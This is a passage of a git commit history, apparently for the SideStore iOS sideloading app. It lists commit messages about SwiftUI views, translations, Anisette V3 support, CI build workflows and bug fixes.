        [WIP] Fixed the app permissions grid in AppDetailView

    commit eb151d74dd
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sun Nov 27 16:17:08 2022 +0100

        [ADD] Expandable app and version description texts

    commit 0dc7af5e51
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Sun Nov 27 00:26:15 2022 +0100

        [ADD] iOS 13 compatible AsyncImage implementation with cache

    commit d3e8473f45
    Author: Fabian Thies <git@fabian-thies.de>
    Date:   Wed Nov 23 22:34:02 2022 +0100

        [ADD] News, Browse and Settings views ported to SwiftUI

        This commit contains WIP SwiftUI versions of most of the views in SideStore.

commit 38a1c7eef6
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sat May 20 20:05:36 2023 +0200

    Fix rebase issues

commit f6252c3a8b
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sat May 20 19:10:51 2023 +0200

    Fix trusted sources being enabled in onboarding process regardless of user choice

commit 653d80b88e
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri May 19 13:14:15 2023 +0200

    Add onboarding screens for an easy setup of SideStore

commit 89609ad35c
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sun Feb 19 14:31:01 2023 +0100

    [ADD] UI for writing an app review and submit an app rating

commit 2211013e57
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sun Feb 19 14:30:21 2023 +0100

    [CHANGE] UI fixes and SwiftUI previews for easier development

commit f206ee1406
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sun Feb 19 14:25:13 2023 +0100

    [ADD] Refresh all apps functionality in MyAppsView

commit 00dc9b36af
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sun Feb 19 11:40:26 2023 +0100

    [FIX] STDOUT output not visible in Xcode console

commit 24146cef90
Author: Fabian Thies <git@fabian-thies.de>
Date:   Mon Feb 13 18:56:34 2023 +0100

    [ADD] LocalConsole showing STDOUT and STDERR

commit c46a50ec58
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sat Feb 4 14:35:58 2023 +0100

    [FIX] App compatibility info

commit de7e909c01
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sat Feb 4 14:29:02 2023 +0100

    [ADD] Debug entries for refresh attempts, sending feedback, advanced settings, and resetting the pairing file

commit fbc754d8b7
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sat Feb 4 13:07:04 2023 +0100

    [ADD] Error log view

commit 767d878051
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sat Feb 4 12:55:25 2023 +0100

    [FIX] Various UI issues

commit 132b140af2
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sat Feb 4 12:46:43 2023 +0100

    [ADD] App report button and trusted source badge in app detail view

commit df7d8871ff
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Feb 3 18:19:07 2023 +0100

    [FIX] AppIDsView and authentication workflow

commit ca2398e4c7
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Feb 3 18:16:48 2023 +0100

    [FIX] Full screen app screenshot previews

commit b8f02d2152
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Feb 3 14:58:06 2023 +0100

    [FIX] Accent color

commit e85876cd24
Author: Fabian Thies <git@fabian-thies.de>
Date:   Tue Jan 31 22:38:42 2023 +0100

    [CHANGE] Overhaul of the AppDetailView with version history, reviews & ratings, and app information

commit 3f06a53058
Author: Fabian Thies <git@fabian-thies.de>
Date:   Tue Jan 31 22:37:37 2023 +0100

    [UPDATE] AppPillButton dimensions and expiration text

commit 4ee053a4f9
Author: Fabian Thies <git@fabian-thies.de>
Date:   Tue Jan 31 22:35:09 2023 +0100

    [FIX] Show App IDs button only if user is logged in with their Apple ID

commit e5369524ce
Author: Fabian Thies <git@fabian-thies.de>
Date:   Tue Jan 31 22:32:11 2023 +0100

    [ADD] Load and show trusted sources with option to add them to the app

commit 77465cebd0
Author: Fabian Thies <git@fabian-thies.de>
Date:   Tue Jan 31 22:30:21 2023 +0100

    [ADD] Credits section in SettingsView

commit f90bf3bfcf
Author: Fabian Thies <git@fabian-thies.de>
Date:   Mon Jan 16 21:23:16 2023 +0100

    [CHANGE] Extracted all strings into the Localizable.strings

commit 0000610b9d
Author: Fabian Thies <git@fabian-thies.de>
Date:   Mon Jan 16 19:03:33 2023 +0100

    [FIX] Text alignment in SettingsView

commit c7e095583d
Author: Fabian Thies <git@fabian-thies.de>
Date:   Mon Jan 16 19:02:58 2023 +0100

    [ADD] Hint for new users who don't have any sources

commit a725f3e9cc
Author: Fabian Thies <git@fabian-thies.de>
Date:   Mon Jan 16 18:59:39 2023 +0100

    [ADD] AppScreenshot view with ImageProcessor to automatically rotate landscape screenshots

commit b5dea18073
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Jan 13 13:37:38 2023 +0100

    [FIX] Issues introduced by changes to the AltSource specification.

commit b9b309e603
Author: Fabian Thies <github@fabian-thies.de>
Date:   Fri Jan 13 12:48:27 2023 +0100

    [UPDATE] Translations (#7)

    This PR merges all the new translations made on the SideStore weblate instance (https://translate.sidestore.io/projects/sidestore/app).

    New translations:
    - French
    - Korean

    Updated translations:
    - Spanish

    Co-authored-by: bogotesr <bogotesr@gmail.com>
    Co-authored-by: GABO1423 <35014183+GABO1423@users.noreply.github.com>
    Co-authored-by: Joss Laymon <71040782+bogotesr@users.noreply.github.com>
    Co-authored-by: mindfreakdev <shost212@gmail.com>
    Co-authored-by: Python <rjp2030@proton.me>
    Co-authored-by: Testi Cules <ervd516@gmail.com>

commit 15f1be0aa8
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Jan 13 12:25:50 2023 +0100

    [FIX] Changes made by Xcode 14 after building the app

commit ffd80ce0b4
Author: Upal <shost212@gmail.com>
Date:   Mon Dec 26 19:18:33 2022 +0530

    Added Hindi Language (#5)

    * Added Hindi Language

commit 350891ee2a
Author: mindfreakdev <shost212@gmail.com>
Date:   Sun Dec 25 16:52:01 2022 +0530

    Added Dutch Language

commit 5dec1cd561
Author: mindfreakdev <shost212@gmail.com>
Date:   Sun Dec 25 12:30:42 2022 +0530

    Added Ukrainian Language

commit c4d235d742
Author: mindfreakdev <shost212@gmail.com>
Date:   Sun Dec 25 12:28:00 2022 +0530

    Added Ukrainian Language

commit cdc6675dd5
Author: Gabriel Morazán <35014183+GABO1423@users.noreply.github.com>
Date:   Sun Dec 25 01:08:47 2022 -0400

    Screen Crunch sucks

    Signed-off-by: Gabriel Morazán <35014183+GABO1423@users.noreply.github.com>

commit 85635bb26e
Author: GABO1423 <35014183+GABO1423@users.noreply.github.com>
Date:   Sun Dec 25 00:58:22 2022 -0400

    Spanish Translation Tweaks

commit 3be0a4a89c
Author: bogotesr <bogotesr@gmail.com>
Date:   Sat Dec 24 21:06:28 2022 -0700

    Add es-419 and finish adding support for the translations

    Added Latin American Spanish (probably not the best translation)

    Made everything reference the swiftgen stuff rather than having strings

commit 47e47fb3cf
Author: Fabian Thies <git@fabian-thies.de>
Date:   Thu Dec 22 10:29:57 2022 +0100

    [CHANGE] Extracted some example strings and replaced them by generated localized strings

commit 48903034b6
Author: Fabian Thies <git@fabian-thies.de>
Date:   Thu Dec 22 10:21:57 2022 +0100

    [ADD] SwiftGen configuration and generated files

commit 6952218ee7
Author: Fabian Thies <git@fabian-thies.de>
Date:   Thu Dec 22 10:10:58 2022 +0100

    [ADD] Empty Localizable.strings

commit 80146c1e03
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Jan 13 12:04:10 2023 +0100

    [WIP] AppScreenshot view with ImageProcessor to automatically rotate landscape images. Possible through my fork of the AsyncImage framework.

commit 642ae996c9
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Jan 13 12:02:56 2023 +0100

    [WIP] Fetch trusted sources in SourcesView

commit 8040636aa5
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Jan 13 12:02:06 2023 +0100

    [WIP] AppIDs view in My Apps section

commit 731fcfaca7
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Jan 13 12:00:00 2023 +0100

    [ADD] Badge in AppDetailView for apps from the official source and (WIP) trusted sources

commit 708fb3fccd
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Jan 13 11:58:25 2023 +0100

    [ADD] Hint view in MyAppsView telling the user about where to find updates in the future if no updates are available

commit 9f429fb068
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Jan 13 11:54:44 2023 +0100

    [FIX] App permission icon color

commit 29fc693f4d
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Jan 13 11:51:06 2023 +0100

    [ADD] Show source name and external url domain in NewsItemView

commit 6f373ad305
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Dec 23 16:02:57 2022 +0100

    [ADD] Full-screen app screenshot preview

commit c069d779d9
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Dec 23 15:21:16 2022 +0100

    [CHANGE] Replace system image name strings with SFSymbols

commit cd88970a22
Author: Fabian Thies <git@fabian-thies.de>
Date:   Fri Dec 23 13:12:39 2022 +0100

    [ADD] Dependency: SFSafeSymbols

commit 6b6708e43c
Author: Fabian Thies <git@fabian-thies.de>
Date:   Wed Dec 21 17:49:49 2022 +0100

    [ADD] WIP: Promoted category cards and app list filter button in BrowseView

commit 9206eeb9e3
Author: Fabian Thies <git@fabian-thies.de>
Date:   Wed Dec 21 17:48:45 2022 +0100

    [FIX] AccentColor in dark mode

commit 080bbb3c51
Author: Fabian Thies <git@fabian-thies.de>
Date:   Wed Dec 21 17:48:23 2022 +0100

    [ADD] Carousel for SideStore-specific announcements in NewsView

commit ea2c862900
Author: Fabian Thies <git@fabian-thies.de>
Date:   Wed Dec 21 17:45:44 2022 +0100

    [ADD] WIP: Add My Apps view with support for sideloading new apps, refreshing installed apps and much more

commit 4fe72ea113
Author: Fabian Thies <git@fabian-thies.de>
Date:   Mon Dec 12 19:20:54 2022 +0100

    [CHANGE] Fixed the AppRowView background blur effect

commit c486a62b50
Author: Fabian Thies <git@fabian-thies.de>
Date:   Mon Dec 12 19:20:10 2022 +0100

    [ADD] Backported dismiss() environment variable to let views dismiss themselves

commit 3ce4451da4
Author: Fabian Thies <git@fabian-thies.de>
Date:   Mon Dec 12 19:18:57 2022 +0100

    [ADD] Search bar for BrowseView on iOS 15

commit 294ba12391
Author: Fabian Thies <git@fabian-thies.de>
Date:   Mon Dec 12 19:16:36 2022 +0100

    [CHANGE] Fetch news when NewsView appears

commit 4a3343fe61
Author: Fabian Thies <git@fabian-thies.de>
Date:   Mon Dec 12 19:15:16 2022 +0100

    Improved app detail view

commit d1e6ddd435
Author: Fabian Thies <git@fabian-thies.de>
Date:   Mon Dec 12 19:12:38 2022 +0100

    [ADD] Authentication view for connecting SideStore to an Apple ID

commit 3e0379dc70
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sun Nov 27 16:41:30 2022 +0100

    [WIP] Fixed the app permissions grid in AppDetailView

commit d99674f8bd
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sun Nov 27 16:17:08 2022 +0100

    [ADD] Expandable app and version description texts

commit ca7acc17da
Author: Fabian Thies <git@fabian-thies.de>
Date:   Sun Nov 27 00:26:15 2022 +0100

    [ADD] iOS 13 compatible AsyncImage implementation with cache

commit 16a8bce102
Author: Fabian Thies <git@fabian-thies.de>
Date:   Wed Nov 23 22:34:02 2022 +0100

    [ADD] News, Browse and Settings views ported to SwiftUI

    This commit contains WIP SwiftUI versions of most of the views in SideStore.
2023-05-20 11:31:25 -07:00
naturecodevoid
093e21799f fix: crash if save is called on non-unstable build 2023-05-20 10:48:52 -07:00
naturecodevoid
ad98ce43a9 fix warning 2023-05-20 10:47:55 -07:00
naturecodevoid
7f39d010b2 feat: merge #282 as an unstable feature 2023-05-20 09:51:45 -07:00
naturecodevoid
b6c9797104 Unstable Features groundwork 2023-05-20 09:24:09 -07:00
naturecodevoid
ed2270ff46 Anisette V3 (#324)
* initial anisette V3 implementation

* update V3 urls and log version

* fix crash where FetchAnisetteDataOperation.clientInfo would be nil when getting anisette V3 without provisioning first

* move adi.pb reset to its own button instead of doing it on sign out

* fallback to V1 if client_info fails

* make sure to unwrap optional strings

* feat(anisette): update v3 usage, improve error messages and names, report v3 errors to the user

* refactor(anisette): reduce duplicate JSON to anisette code

* fixes(anisette v3): improve errors, fix v3 server check, fix some edge cases where SideStore could crash and instead return an error, retry on -45061
2023-05-18 01:30:18 -07:00
SoY0ung
45b6c3b338 Fix 'The name for this app is invalid' error(#361)
Fix 'The name for this app is invalid' error when sideloading with non-ascii name ipa
2023-05-15 12:38:26 +08:00
SoY0ung
84e2284f56 Optimizing function calls
Thanks for @ktprograms advice
2023-05-14 19:06:22 +08:00
SoY0ung
1c0d0be622 Fix 'The name for this app is invalid' error
This error is related to App ID creation failure.
App ID name must be an ascii text. It is not allowed to create an App ID with non-ascii text like Chinese, Japanese.
If the name is NOT an ascii text, using bundleID instead.
2023-05-14 02:55:36 +08:00
naturecodevoid
a9ce0f487d fix: open Safari instead of force closing and provide a fallback for users with notifications disabled 2023-05-06 19:25:37 -07:00
naturecodevoid
07533e0365 fix: ensure minimuxer is started when refreshing in the background 2023-04-16 10:07:04 -07:00
naturecodevoid
ee5ddd4264 fix: use a notification instead of an alert for force close 2023-04-16 09:29:12 -07:00
naturecodevoid
f519d22d81 fix: removing _CodeSignature folder before resigning 2023-04-13 21:21:51 -07:00
naturecodevoid
51ed87086a [skip ci] ci: fully rename SideStore.ipa, even after extracting the artifact zip 2023-04-13 07:30:20 -07:00
naturecodevoid
1ca3aa3cdb fix: force close SideStore after 3 seconds if still reinstalling 2023-04-13 07:20:36 -07:00
naturecodevoid
0178c63f6a fix: hopefully reduce ApplicationVerificationFailed errors by removing _CodeSignature folders since those may cause a problem 2023-04-12 19:53:27 -07:00
naturecodevoid
8a97c409fa fix: add .AltWidget to app group ID when modifying for SideStore 2023-04-12 07:46:14 -07:00
naturecodevoid
3dd0735305 fix: always reinstall when refreshing ourselves 2023-04-11 21:50:15 -07:00
naturecodevoid
536f775baa Revert "Don't reinstall on first SideStore refresh"
This reverts commit 40e1225b87.
2023-04-11 21:12:01 -07:00
naturecodevoid
00f7a684a3 [skip ci] chore: rename tempEnt.plist to ReleaseEntitlements.plist to reduce future confusion 2023-04-11 21:09:32 -07:00
naturecodevoid
d79b166a6a chore: Remove old apps.json/app.json files 2023-04-11 21:05:53 -07:00
naturecodevoid
b3d827f56a refactor: remove minimuxerToOperationError in favor of extending MinimuxerError to be a LocalizedError and remove unused cases from OperationError 2023-04-11 21:04:07 -07:00
naturecodevoid
40bcef1dcb Use XYZ0123456 team ID for tempEnt.plist
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-04-06 20:45:18 -07:00
naturecodevoid
6146f1bdaa Update tempEnt.plist 2023-04-06 12:42:37 -07:00
f1shy-dev
f5d82d9ef0 Update tempEnt.plist to change AltStore to SideStore
Signed-off-by: f1shy-dev <56125930+f1shy-dev@users.noreply.github.com>
2023-04-06 20:23:27 +01:00
naturecodevoid
b2a29ae606 [skip ci] Include commit SHA in nightly version 2023-04-02 15:08:48 -07:00
naturecodevoid
98ccba53a2 [skip ci] Add version to artifact name
we can't do this for releases because some download URLs might rely on it being named SideStore.ipa

Build Info will also have version anyways
2023-04-02 08:01:57 -07:00
naturecodevoid
9bfda36647 [skip ci] Log version 2023-04-02 08:00:11 -07:00
naturecodevoid
5710cdf19c [skip ci] Fix PR commit suffix 2023-04-02 07:58:38 -07:00
naturecodevoid
20cf54bfcd [skip ci] Rename and move the first application groups log 2023-04-02 07:34:48 -07:00
naturecodevoid
2ce639e750 Remove app groups that contain AltStore 2023-04-01 20:03:15 -07:00
naturecodevoid
b1ed413c4f Revert Joelle's fix 2023-04-01 16:15:04 -07:00
naturecodevoid
b8c3060037 Log provisioning profile application groups 2023-04-01 16:10:40 -07:00
naturecodevoid
c3ea4940d7 Reduce duplicate consts 2023-04-01 16:10:05 -07:00
naturecodevoid
40e1225b87 Don't reinstall on first SideStore refresh 2023-04-01 16:09:28 -07:00
naturecodevoid
0c171122b2 refactor minimuxer to use swift-bridge (#321)
also add team ID to the end of the bundle ID for Debug builds to mirror SideServer
2023-04-01 16:02:12 -07:00
Joelle Stickney
6d0f4bb3da Fixes widget refreshing and is more thorough matching store ID 2023-03-28 23:48:24 -04:00
Joelle Stickney
5e2cc6e20c Update store check to check for AltServer or SideServer installation 2023-03-28 01:33:55 -04:00
naturecodevoid
99cb43bbea [skip ci] include commit SHA in PR builds
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-03-24 08:56:30 -07:00
Riley Testut
ca7d8277f7 Fixes “no provisioning profile with the requested identifier…” error
As of March 20, 2023, deleting an app’s auto-generated free provisioning profile is no longer supported. However, fetching the provisioning profile now re-generates is every time, so there’s no need to delete it first.

As a workaround, we now simply use the first profile we fetched if we receive an error when deleting it. This approach should continue to work even if Apple later reverses this change.
2023-03-21 18:52:56 -04:00
Joe Mattiello
337d26333e Update README.md
Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-20 00:02:11 -04:00
Joe Mattiello
ebb64d255b Update README.md
Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-20 00:00:56 -04:00
Joe Mattiello
7dcb199f68 Update README.md
Add repobeats svg

Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-19 23:28:32 -04:00
naturecodevoid
4334e887de [skip ci] use bundle ID from Build.xcconfig in AltStore.xcconfig 2023-03-12 16:38:59 -07:00
naturecodevoid
4e84dc4cc8 [skip ci] rename the *.dSYM artifact so that macOS treats it as a normal folder 2023-03-07 08:24:28 -08:00
naturecodevoid
1a1ed072bf attach debugging symbols to actions builds 2023-03-07 07:50:31 -08:00
naturecodevoid
ae457f07c4 add https for ani.sidestore.io to Settings.bundle 2023-03-07 07:27:36 -08:00
Nythepegasus
00095942c3 Merge pull request #288 from SideStore/Remove-jk-anisette 2023-03-07 00:54:51 -05:00
Spidy123222
d1caa5fc21 Merge branch 'develop' into Remove-jk-anisette 2023-03-06 12:11:02 -08:00
Spidy123222
813e2f97ac Change version to 0.3.2
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-06 12:10:39 -08:00
Nythepegasus
bcb5a90f5e Add SSL encryption to ani.sidestore.io
Signed-off-by: Nythepegasus <nythepegasus84@gmail.com>
2023-03-06 14:09:16 -05:00
Spidy123222
020a1a3149 Replace sideloady to use sidestore ani
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-05 19:27:25 -08:00
Spidy123222
c4d649ec58 Remove jkcoxson anisette servers.
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-05 13:45:10 -08:00
naturecodevoid
c02cf2c284 Update error codes to match minimuxer error codes (this is why people got Unknown error instead of an actual error message)
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-03-04 08:08:35 -08:00
Spidy123222
c30afd042e Change version to 0.3.1
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-01 13:17:09 -08:00
naturecodevoid
17640fe6cf Cherry pick app ID logging fix from duplicate profiles PR 2023-02-25 14:36:37 -08:00
Joe Mattiello
2e4f6ee420 Merge pull request #272 from SideStore/naturecodevoid/prebuild-rust-deps-attempt-2
More actions updates, contributing guide
2023-02-24 00:00:43 -05:00
naturecodevoid
a3768d9221 [skip ci] actions: Add info/automate cache resetting 2023-02-21 17:27:56 -08:00
naturecodevoid
80c3390363 [skip ci] Makefile: Remove build_rust_dependencies 2023-02-21 17:07:58 -08:00
naturecodevoid
a5e3869d8f Project: update CONTRIBUTING.md to use Makefile 2023-02-21 17:01:24 -08:00
naturecodevoid
aa7d7c2d02 Revert "modify actions to work on test branch"
This reverts commit e59fb15926.
2023-02-21 12:51:34 -08:00
naturecodevoid
015f205569 update release descriptions 2023-02-21 12:42:56 -08:00
naturecodevoid
e59fb15926 modify actions to work on test branch 2023-02-21 12:24:25 -08:00
naturecodevoid
173c585f2d cleanup actions, revamp beta action, modify nightly build num system to be day specific 2023-02-21 12:23:12 -08:00
naturecodevoid
6f8c27793e cleanup makefile and add build steps from github actions 2023-02-21 12:19:08 -08:00
naturecodevoid
332b81c803 No more rust 2023-02-20 20:36:39 -08:00
naturecodevoid
4b343b500d fetch-prebuilt.sh whitespace improvement 2023-02-20 19:43:46 -08:00
naturecodevoid
e87c537642 Update CONTRIBUTING.md 2023-02-20 18:58:42 -08:00
naturecodevoid
2e6300cce2 add changes from attempt #1 2023-02-20 18:50:40 -08:00
naturecodevoid
09514d15a6 use prebuilt binaries 2023-02-20 18:48:21 -08:00
naturecodevoid
0de23dcba0 remove submodules 2023-02-20 16:33:11 -08:00
Joss Laymon
bacb153151 Use new pojav url
Signed-off-by: Joss Laymon <71040782+bogotesr@users.noreply.github.com>
2023-02-20 11:21:30 -07:00
naturecodevoid
a01aa299d8 SourcesViewController: Fix 1 trusted source causing an error making all trusted sources fail to load 2023-02-18 20:33:44 -08:00
Spidy123222
44edbddbd8 Replace placeholder video with instructions. (#266) 2023-02-15 21:14:51 -08:00
naturecodevoid
79d677cf3c Revamp issue and PR templates (#253)
* Create config.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Delete bug_report.md

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create bug_report.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create feature_request.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create pull_request_template.md

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

---------

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-02-06 00:43:44 -05:00
oqammx86
be39b6512f Add sidestore anisette server
Signed-off-by: oqammx86 <84847714+oq-x@users.noreply.github.com>
2023-02-02 13:05:36 -05:00
naturecodevoid
fcfeea35da Revert "Release channel support (#239)"
This reverts commit 7d0eb8c61e.
2023-02-02 08:09:15 -08:00
naturecodevoid
7d0eb8c61e Release channel support (#239)
* Release channel support

- Show SideStore in Browse if it's not from the current SideStore source
- Change SideStore source URL and source ID based on if beta and nightly are in the version string
- Use StoreApp name for InstalledApp name to allow for source-specified name to show up in My Apps

* My Apps: Fix incorrect app name on first launch

* News: fix duplicate news items from multiple SideStore release channel sources

* Trusted Sources: Add stable and beta
2023-02-02 08:05:27 -08:00
naturecodevoid
4d8438a6b6 Update minimuxer 2023-02-01 20:05:26 -08:00
naturecodevoid
f611244e35 Add PR suffix to version in PR workflow
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-26 17:13:32 -08:00
naturecodevoid
546a978d3b Update .gitignore 2023-01-25 06:50:06 -08:00
naturecodevoid
70b23fb073 Merge remote-tracking branch 'upstream/develop' into develop 2023-01-19 17:39:11 -08:00
naturecodevoid
a56ca597d6 Fix build errors 2023-01-19 17:37:43 -08:00
naturecodevoid
679e0228a8 Remove debug
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-19 08:30:47 -08:00
naturecodevoid
e153394323 Merge branch 'develop' of https://github.com/naturecodevoid/SideStore into develop 2023-01-19 07:56:52 -08:00
naturecodevoid
5bd1fcfcfd Merge branch 'develop' of https://github.com/SideStore/SideStore into develop 2023-01-19 07:54:25 -08:00
naturecodevoid
2a392ddc44 SemVer version comparison 2023-01-19 07:52:47 -08:00
Joelle Stickney
b5cb8bc0d9 Updated Patreon Link 2023-01-18 14:41:24 -05:00
Joelle Stickney
fa170bcf98 Update README.md
Signed-off-by: Joelle Stickney <joellestickney+commit@gmail.com>
2023-01-13 10:39:12 -05:00
Joe Mattiello
7939d46949 Merge pull request #219 from SoY0ung/file_sharing
Reset Pairing File and checking minimuxer log in app
2023-01-12 20:35:06 -05:00
naturecodevoid
ab9df8201a Merge remote-tracking branch 'upstream/develop' into develop 2023-01-09 17:40:50 -08:00
SoY0ung
4a670ec091 You can check minimuxer log in Error Log Page 2023-01-09 16:17:00 +08:00
SoY0ung
10e57e59c4 You can access SideStore document from File App 2023-01-09 15:19:18 +08:00
SoY0ung
b9ec43ef34 Add 'Reset Pairing File' 2023-01-09 15:15:31 +08:00
SoY0ung
42197cd375 Fix Advanced Setting display error 2023-01-09 14:13:31 +08:00
jawshoeadan
704852973b Merge pull request #214 from jawshoeadan/remove-hardcoded-me
Update AltBackup.ipa to remove any hardcoded stuff
2023-01-07 18:02:56 -08:00
Jawshoeadan
056b4200df Update AltBackup.ipa 2023-01-04 21:55:00 -08:00
Joe Mattiello
250a7d8627 Merge pull request #213 from SideStore/feature/JoeMFixes
Joe M fixes for 1.0
2023-01-04 12:58:56 -05:00
Joseph Mattello
1ba51e161e Add placeholder for minimux retries
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 12:20:08 -05:00
Joseph Mattello
32e58af896 add workflow to attach builds to PR
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:54:29 -05:00
Joseph Mattello
312fa6fe76 final classes marked as final
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:52:12 -05:00
Joseph Mattello
afbe0837ba allow simulator to launch w/o pairing file
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:32:04 -05:00
Joseph Mattello
36ad2a720f log functions inlineable
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:31:51 -05:00
Joseph Mattello
901e3b14bb add final class to some classes
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:31:41 -05:00
Joseph Mattello
588d209f7b refs #160 codable feed structs
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:31:28 -05:00
naturecodevoid
554c54e6be Revamp actions to have stable, beta and nightly builds (#210)
* start on nightly builds

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Remove testing logic, final changes

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Nightly release build (#2)

* Update and rename build.yml to nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* trigger on tag

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add version and build number

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Revert "test"

This reverts commit 9dff8d1d878a764a432ef4560300acdb4407313a.

* Remove pr from stable

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add pr.yml

* Add nightly suffix and build number

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add beta

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* [beta] test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Remove test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:55:14 -05:00
naturecodevoid
b0fac34ffc Nightly release build (#2)
* Update and rename build.yml to nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* trigger on tag

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add version and build number

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Revert "test"

This reverts commit 9dff8d1d878a764a432ef4560300acdb4407313a.

* Remove pr from stable

